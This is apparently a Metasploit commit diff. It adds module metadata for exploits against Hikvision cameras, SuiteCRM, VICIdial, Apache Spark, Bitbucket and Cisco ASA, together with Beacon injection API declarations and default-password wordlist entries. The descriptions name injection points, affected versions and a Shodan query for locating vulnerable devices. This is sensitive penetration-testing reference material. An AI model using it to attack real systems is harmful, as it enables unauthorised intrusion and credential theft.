DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+1
View File
@@ -1,3 +1,4 @@
calvin
123456
password
user1234
@@ -54,3 +54,4 @@ easy-wp-smtp
duplicator_download
custom-registration-form-builder-with-submission-manager
woocommerce-abandoned-cart
elementor
+4939 -198
View File
@@ -525,7 +525,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/admin/db2/db2rcmd.rb",
"is_install_path": true,
"ref_name": "admin/db2/db2rcmd",
@@ -1758,7 +1758,7 @@
],
"targets": null,
"mod_time": "2022-04-19 20:42:23 +0000",
"mod_time": "2022-09-29 01:28:56 +0000",
"path": "/modules/auxiliary/admin/http/grafana_auth_bypass.py",
"is_install_path": true,
"ref_name": "admin/http/grafana_auth_bypass",
@@ -1770,6 +1770,67 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/http/hikvision_unauth_pwd_reset_cve_2017_7921": {
"name": "Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic",
"fullname": "auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921",
"aliases": [
],
"rank": 300,
"disclosure_date": "2017-09-23",
"type": "auxiliary",
"author": [
"Monte Crypto",
"h00die-gr3y <h00die.gr3y@gmail.com>"
],
"description": "Many Hikvision IP cameras contain improper authentication logic which allows unauthenticated impersonation of any configured user account.\n The vulnerability has been present in Hikvision products since 2014. In addition to Hikvision-branded devices, it\n affects many white-labeled camera products sold under a variety of brand names.\n\n Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time\n of publishing (shodan search: '\"App-webs\" \"200 OK\"'). Some of these devices can never be patched due to to the\n vendor preventing users from upgrading the installed firmware on the affected device.\n\n This module utilizes the bug in the authentication logic to perform an unauthenticated password change of any user account on\n a vulnerable Hikvision IP Camera. This can then be utilized to gain full administrative access to the affected device.",
"references": [
"CVE-2017-7921",
"PACKETSTORM-144097",
"URL-https://ipvm.com/reports/hik-exploit",
"URL-https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921",
"URL-https://seclists.org/fulldisclosure/2017/Sep/23"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-09-23 12:19:29 +0000",
"path": "/modules/auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921.rb",
"is_install_path": true,
"ref_name": "admin/http/hikvision_unauth_pwd_reset_cve_2017_7921",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/http/hp_web_jetadmin_exec": {
"name": "HP Web JetAdmin 6.5 Server Arbitrary Command Execution",
"fullname": "auxiliary/admin/http/hp_web_jetadmin_exec",
@@ -2959,7 +3020,7 @@
"https"
],
"targets": null,
"mod_time": "2021-09-24 10:44:10 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass.rb",
"is_install_path": true,
"ref_name": "admin/http/netgear_pnpx_getsharefolderlist_auth_bypass",
@@ -3487,7 +3548,7 @@
"https"
],
"targets": null,
"mod_time": "2022-05-04 19:42:39 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/auxiliary/admin/http/pihole_domains_api_exec.rb",
"is_install_path": true,
"ref_name": "admin/http/pihole_domains_api_exec",
@@ -4037,7 +4098,7 @@
],
"targets": null,
"mod_time": "2021-10-03 16:30:12 +0000",
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/auxiliary/admin/http/tomcat_ghostcat.rb",
"is_install_path": true,
"ref_name": "admin/http/tomcat_ghostcat",
@@ -4049,7 +4110,7 @@
"Ghostcat"
],
"Stability": [
"CRASH_SAFE"
"crash-safe"
],
"Reliability": [
@@ -4647,7 +4708,7 @@
"https"
],
"targets": null,
"mod_time": "2022-06-10 14:01:57 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/auxiliary/admin/http/wp_automatic_plugin_privesc.rb",
"is_install_path": true,
"ref_name": "admin/http/wp_automatic_plugin_privesc",
@@ -4917,7 +4978,7 @@
"https"
],
"targets": null,
"mod_time": "2022-03-07 10:57:40 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb",
"is_install_path": true,
"ref_name": "admin/http/wp_masterstudy_privesc",
@@ -7883,7 +7944,7 @@
"ftp"
],
"targets": null,
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/admin/scada/modicon_password_recovery.rb",
"is_install_path": true,
"ref_name": "admin/scada/modicon_password_recovery",
@@ -8999,7 +9060,7 @@
"https"
],
"targets": null,
"mod_time": "2022-04-25 11:44:39 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.rb",
"is_install_path": true,
"ref_name": "admin/vmware/vcenter_forge_saml_token",
@@ -13870,7 +13931,7 @@
"ftp"
],
"targets": null,
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb",
"is_install_path": true,
"ref_name": "dos/windows/ftp/guildftp_cwdlist",
@@ -14039,7 +14100,7 @@
"ftp"
],
"targets": null,
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/dos/windows/ftp/titan626_site.rb",
"is_install_path": true,
"ref_name": "dos/windows/ftp/titan626_site",
@@ -14081,7 +14142,7 @@
"ftp"
],
"targets": null,
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb",
"is_install_path": true,
"ref_name": "dos/windows/ftp/vicftps50_list",
@@ -14163,7 +14224,7 @@
"ftp"
],
"targets": null,
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb",
"is_install_path": true,
"ref_name": "dos/windows/ftp/xmeasy560_nlst",
@@ -14204,7 +14265,7 @@
"ftp"
],
"targets": null,
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb",
"is_install_path": true,
"ref_name": "dos/windows/ftp/xmeasy570_nlst",
@@ -14296,7 +14357,7 @@
"https"
],
"targets": null,
"mod_time": "2022-03-16 14:03:20 +0000",
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166.rb",
"is_install_path": true,
"ref_name": "dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166",
@@ -14308,9 +14369,10 @@
"crash-os-restarts"
],
"Reliability": [
"ioc-in-logs"
],
"SideEffects": [
"ioc-in-logs",
"screen-effects"
]
},
@@ -18510,6 +18572,67 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/hikvision_info_disclosure_cve_2017_7921": {
"name": "Unauthenticated information disclosure such as configuration, credentials and camera snapshots of a vulnerable Hikvision IP Camera",
"fullname": "auxiliary/gather/hikvision_info_disclosure_cve_2017_7921",
"aliases": [
],
"rank": 300,
"disclosure_date": "2017-09-23",
"type": "auxiliary",
"author": [
"Monte Crypto",
"h00die-gr3y <h00die.gr3y@gmail.com>"
],
"description": "Many Hikvision IP cameras have improper authorization logic that allows unauthenticated information disclosure of camera information,\n such as detailed hardware and software configuration, user credentials, and camera snapshots.\n The vulnerability has been present in Hikvision products since 2014.\n In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names.\n Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing (shodan search: \"App-webs\" \"200 OK\").\n This module allows the attacker to retrieve this information without any authentication. The information is stored in loot for future use.",
"references": [
"CVE-2017-7921",
"PACKETSTORM-144097",
"URL-https://ipvm.com/reports/hik-exploit",
"URL-https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921",
"URL-http://seclists.org/fulldisclosure/2017/Sep/23"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-10-17 19:54:26 +0000",
"path": "/modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb",
"is_install_path": true,
"ref_name": "gather/hikvision_info_disclosure_cve_2017_7921",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/hp_enum_perfd": {
"name": "HP Operations Manager Perfd Environment Scanner",
"fullname": "auxiliary/gather/hp_enum_perfd",
@@ -19523,7 +19646,7 @@
],
"targets": null,
"mod_time": "2021-06-28 10:41:45 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/gather/ldap_hashdump.rb",
"is_install_path": true,
"ref_name": "gather/ldap_hashdump",
@@ -21289,6 +21412,65 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/suite_crm_export_sqli": {
"name": "SuiteCRM authenticated SQL injection in export functionality",
"fullname": "auxiliary/gather/suite_crm_export_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-05-24",
"type": "auxiliary",
"author": [
"Exodus Intelligence",
"jheysel-r7",
"Redouane NIBOUCHA <rniboucha@yahoo.fr>"
],
"description": "This module exploits an authenticated SQL injection in SuiteCRM in versions before 7.12.6. The vulnerability\n allows an authenticated attacker to send specially crafted requests to the export entry point of the application in order\n to retrieve all the usernames and their associated password from the database.",
"references": [
"URL-https://blog.exodusintel.com/2022/06/09/salesagility-suitecrm-export-request-sql-injection-vulnerability/",
"URL-https://docs.suitecrm.com/admin/releases/7.12.x/#_7_12_6"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-10-18 08:47:24 +0000",
"path": "/modules/auxiliary/gather/suite_crm_export_sqli.rb",
"is_install_path": true,
"ref_name": "gather/suite_crm_export_sqli",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/teamtalk_creds": {
"name": "TeamTalk Gather Credentials",
"fullname": "auxiliary/gather/teamtalk_creds",
@@ -21497,7 +21679,7 @@
],
"targets": null,
"mod_time": "2022-01-12 16:51:40 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb",
"is_install_path": true,
"ref_name": "gather/vmware_vcenter_vmdir_ldap",
@@ -21588,7 +21770,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2022-01-03 19:13:32 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
"is_install_path": true,
"ref_name": "gather/windows_secrets_dump",
@@ -21926,7 +22108,7 @@
],
"targets": null,
"mod_time": "2019-07-03 08:33:26 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/gather/xymon_info.rb",
"is_install_path": true,
"ref_name": "gather/xymon_info",
@@ -23624,7 +23806,7 @@
"ftp"
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/colorado_ftp_traversal",
@@ -24868,7 +25050,7 @@
"https"
],
"targets": null,
"mod_time": "2021-11-21 22:35:15 +0000",
"mod_time": "2022-10-05 13:19:36 +0000",
"path": "/modules/auxiliary/scanner/http/azure_ad_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/azure_ad_login",
@@ -26702,9 +26884,10 @@
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Cristiano Maruti <cmaruti@gmail.com>"
"Cristiano Maruti <cmaruti@gmail.com>",
"h00die"
],
"description": "This module attempts to login to a iDRAC webserver instance using\n default username and password. Tested against Dell Remote Access\n Controller 6 - Express version 1.50 and 1.85,\n Controller 7 - Enterprise 2.63.60.62",
"description": "This module attempts to login to a iDRAC webserver instance using\n default username and password. Tested against Dell Remote Access\n Controller 6 - Express version 1.50 and 1.85,\n Controller 7 - Enterprise 2.63.60.62\n Controller 8 - Enterprise 2.83.05\n Controller 9 - Enterprise 4.40.00.00",
"references": [
"CVE-1999-0502"
],
@@ -26727,7 +26910,7 @@
"https"
],
"targets": null,
"mod_time": "2021-05-02 08:52:11 +0000",
"mod_time": "2022-09-23 17:57:40 +0000",
"path": "/modules/auxiliary/scanner/http/dell_idrac.rb",
"is_install_path": true,
"ref_name": "scanner/http/dell_idrac",
@@ -29674,7 +29857,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2022-09-22 14:49:09 +0000",
"path": "/modules/auxiliary/scanner/http/http_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/http_login",
@@ -35667,6 +35850,65 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/vicidial_multiple_sqli": {
"name": "VICIdial Multiple Authenticated SQLi",
"fullname": "auxiliary/scanner/http/vicidial_multiple_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-04-19",
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to\n svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable).\n Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter.\n Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter.\n Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter.\n Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter.\n Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter.\n VICIdial does not encrypt passwords by default.",
"references": [
"URL-https://www.vicidial.org/VICIDIALforum/viewtopic.php?f=4&t=41300&sid=aacb27a29fefd85265b4d55fe51122af",
"CVE-2022-34876",
"CVE-2022-34877",
"CVE-2022-34878"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-09-21 16:57:18 +0000",
"path": "/modules/auxiliary/scanner/http/vicidial_multiple_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/vicidial_multiple_sqli",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/wangkongbao_traversal": {
"name": "WANGKONGBAO CNS-1000 and 1100 UTM Directory Traversal",
"fullname": "auxiliary/scanner/http/wangkongbao_traversal",
@@ -36449,7 +36691,7 @@
"https"
],
"targets": null,
"mod_time": "2021-12-14 16:40:52 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_abandoned_cart_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_abandoned_cart_sqli",
@@ -36562,7 +36804,7 @@
"https"
],
"targets": null,
"mod_time": "2021-10-12 18:43:41 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_bulletproofsecurity_backups",
@@ -36622,7 +36864,7 @@
"https"
],
"targets": null,
"mod_time": "2021-12-14 16:40:52 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_chopslider_id_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_chopslider_id_sqli",
@@ -36892,7 +37134,7 @@
"https"
],
"targets": null,
"mod_time": "2021-12-15 16:42:46 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_email_sub_news_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_email_sub_news_sqli",
@@ -37003,7 +37245,7 @@
"https"
],
"targets": null,
"mod_time": "2021-12-15 16:42:46 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_learnpress_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_learnpress_sqli",
@@ -37064,7 +37306,7 @@
"https"
],
"targets": null,
"mod_time": "2021-12-14 16:40:52 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_loginizer_log_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_loginizer_log_sqli",
@@ -37224,7 +37466,7 @@
"https"
],
"targets": null,
"mod_time": "2022-02-13 15:50:24 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_modern_events_calendar_sqli",
@@ -37332,7 +37574,7 @@
"https"
],
"targets": null,
"mod_time": "2022-02-13 15:40:57 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_registrationmagic_sqli",
@@ -37394,7 +37636,7 @@
"https"
],
"targets": null,
"mod_time": "2022-02-24 15:43:21 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_secure_copy_content_protection_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_secure_copy_content_protection_sqli",
@@ -37553,7 +37795,7 @@
"https"
],
"targets": null,
"mod_time": "2021-12-15 16:42:46 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/scanner/http/wp_total_upkeep_downloader.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_total_upkeep_downloader",
@@ -42876,7 +43118,7 @@
],
"targets": null,
"mod_time": "2018-12-12 13:57:31 +0000",
"mod_time": "2022-09-27 10:23:18 +0000",
"path": "/modules/auxiliary/scanner/rservices/rexec_login.rb",
"is_install_path": true,
"ref_name": "scanner/rservices/rexec_login",
@@ -42915,7 +43157,7 @@
],
"targets": null,
"mod_time": "2018-12-12 13:57:31 +0000",
"mod_time": "2022-09-27 10:23:18 +0000",
"path": "/modules/auxiliary/scanner/rservices/rlogin_login.rb",
"is_install_path": true,
"ref_name": "scanner/rservices/rlogin_login",
@@ -42954,7 +43196,7 @@
],
"targets": null,
"mod_time": "2018-12-12 13:57:31 +0000",
"mod_time": "2022-09-27 10:23:18 +0000",
"path": "/modules/auxiliary/scanner/rservices/rsh_login.rb",
"is_install_path": true,
"ref_name": "scanner/rservices/rsh_login",
@@ -50230,7 +50472,7 @@
],
"targets": null,
"mod_time": "2022-05-24 11:50:06 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/server/capture/mssql.rb",
"is_install_path": true,
"ref_name": "server/capture/mssql",
@@ -50464,7 +50706,7 @@
],
"targets": null,
"mod_time": "2022-05-27 14:41:06 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/server/capture/smb.rb",
"is_install_path": true,
"ref_name": "server/capture/smb",
@@ -50506,7 +50748,7 @@
],
"targets": null,
"mod_time": "2022-04-11 14:26:25 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/server/capture/smtp.rb",
"is_install_path": true,
"ref_name": "server/capture/smtp",
@@ -50582,7 +50824,7 @@
],
"targets": null,
"mod_time": "2022-03-13 13:27:38 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/auxiliary/server/capture/vnc.rb",
"is_install_path": true,
"ref_name": "server/capture/vnc",
@@ -50826,7 +51068,7 @@
],
"targets": null,
"mod_time": "2022-03-10 18:03:35 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/auxiliary/server/ftp.rb",
"is_install_path": true,
"ref_name": "server/ftp",
@@ -55771,7 +56013,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/exploits/android/local/janus.rb",
"is_install_path": true,
"ref_name": "android/local/janus",
@@ -55780,11 +56022,14 @@
"default_credential": false,
"notes": {
"SideEffects": [
"ARTIFACTS_ON_DISK",
"SCREEN_EFFECTS"
"artifacts-on-disk",
"screen-effects"
],
"Reliability": [
],
"Stability": [
"SERVICE_RESOURCE_LOSS"
"service-resource-loss"
]
},
"session_types": [
@@ -58028,6 +58273,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/apache_spark_rce_cve_2022_33891": {
"name": "Apache Spark Unauthenticated Command Injection RCE",
"fullname": "exploit/linux/http/apache_spark_rce_cve_2022_33891",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-07-18",
"type": "exploit",
"author": [
"Kostya Kortchinsky",
"h00die-gr3y <h00die.gr3y@gmail.com>"
],
"description": "This module exploits an unauthenticated command injection vulnerability in Apache Spark.\n Successful exploitation results in remote code execution under the context of the Spark application user.\n\n The command injection occurs because Spark checks the group membership of the user passed\n in the ?doAs parameter by using a raw Linux command.\n\n It is triggered by a non-default setting called spark.acls.enable.\n This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.\n\n Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.",
"references": [
"URL-https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc",
"URL-https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891",
"CVE-2022-33891"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 8080,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix (In-Memory)",
"Linux Dropper"
],
"mod_time": "2022-09-07 12:45:13 +0000",
"path": "/modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb",
"is_install_path": true,
"ref_name": "linux/http/apache_spark_rce_cve_2022_33891",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection": {
"name": "Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection",
"fullname": "exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection",
@@ -58425,6 +58732,72 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/bitbucket_git_cmd_injection": {
"name": "Bitbucket Git Command Injection",
"fullname": "exploit/linux/http/bitbucket_git_cmd_injection",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-08-24",
"type": "exploit",
"author": [
"TheGrandPew",
"Ron Bowes",
"Jang",
"Shelby Pace"
],
"description": "Various versions of Bitbucket Server and Data Center are vulnerable to\n an unauthenticated command injection vulnerability in multiple API endpoints.\n\n The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint\n creates an archive of the repository, leveraging the `git-archive` command to do so.\n Supplying NULL bytes to the request enables the passing of additional arguments to the\n command, ultimately enabling execution of arbitrary commands.",
"references": [
"URL-https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/",
"URL-https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html",
"URL-https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis",
"URL-https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/",
"CVE-2022-36804"
],
"platform": "Linux",
"arch": "x86, x64, cmd",
"rport": 7990,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux Dropper",
"Unix Command"
],
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/exploits/linux/http/bitbucket_git_cmd_injection.rb",
"is_install_path": true,
"ref_name": "linux/http/bitbucket_git_cmd_injection",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/bludit_upload_images_exec": {
"name": "Bludit Directory Traversal Image File Upload Vulnerability",
"fullname": "exploit/linux/http/bludit_upload_images_exec",
@@ -58765,6 +59138,68 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/cisco_asax_sfr_rce": {
"name": "Cisco ASA-X with FirePOWER Services Authenticated Command Injection",
"fullname": "exploit/linux/http/cisco_asax_sfr_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-22",
"type": "exploit",
"author": [
"jbaines-r7"
],
"description": "This module exploits an authenticated command injection vulnerability affecting\n Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's\n ASDM web server and lands in the FirePower Services SFR module's Linux virtual\n machine as the root user. Access to the virtual machine allows the attacker to\n pivot to the inside network, and access the outside network. Also, the SFR\n virtual machine is running snort on the traffic flowing through the ASA, so\n the attacker should have access to this diverted traffic as well.\n\n This module requires ASDM credentials in order to traverse the ASDM interface.\n A similar attack can be performed via Cisco CLI (over SSH), although that isn't\n implemented here.\n\n Finally, it's worth noting that this attack bypasses the affects of the\n `lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be\n available but this attack makes it available).\n\n Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that\n support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,\n and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module\n versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will\n receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.",
"references": [
"CVE-2022-20828",
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG",
